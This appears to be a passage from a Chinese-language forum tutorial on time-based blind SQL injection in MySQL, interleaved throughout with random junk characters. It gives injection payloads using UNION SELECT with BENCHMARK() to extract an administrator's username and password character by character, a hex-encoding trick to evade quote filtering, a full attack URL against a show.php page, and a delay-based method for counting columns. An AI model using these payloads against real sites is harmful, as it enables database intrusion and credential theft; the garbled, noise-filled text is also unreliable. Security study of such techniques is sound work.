4 T3 Z4 h* `8 ~) j9 rINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 6 `8 [- `# @* Z$ r. q
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2'); + E( P5 U! @. x% n0 g* c @8 G ) k6 v, Y3 L2 w q# D' T. V7 j1 d- f; ^2 `& A5 {; }
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:- h0 ]/ Q( I) Q( l0 D
2 W* o, [, O* _7 u2 mid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*$ s0 I9 T* Q/ I6 z# T% f8 n; }
7 o, w3 R: s3 z8 D- j3 I: ?) k " @% i! f) `8 _: M: C 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下: . H# i$ K6 v( E- G, { * o ?, q- F0 p1 u. ?http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/* : ?9 X- @9 ?1 Y v- D( t9 K % q( m* x' n6 X j9 f7 x7 ]. ~( w2 u5 G! h! P2 e3 E( K
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 9 t, F* \/ m+ k- S- k 7 T3 j7 T) D3 a! s7 E; H' t* O 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 " g" F3 \: ?5 H! J, ` . p* k* }* s; m, S* i \6 s第二部! Y F! {- A! B6 J+ W- L0 J% A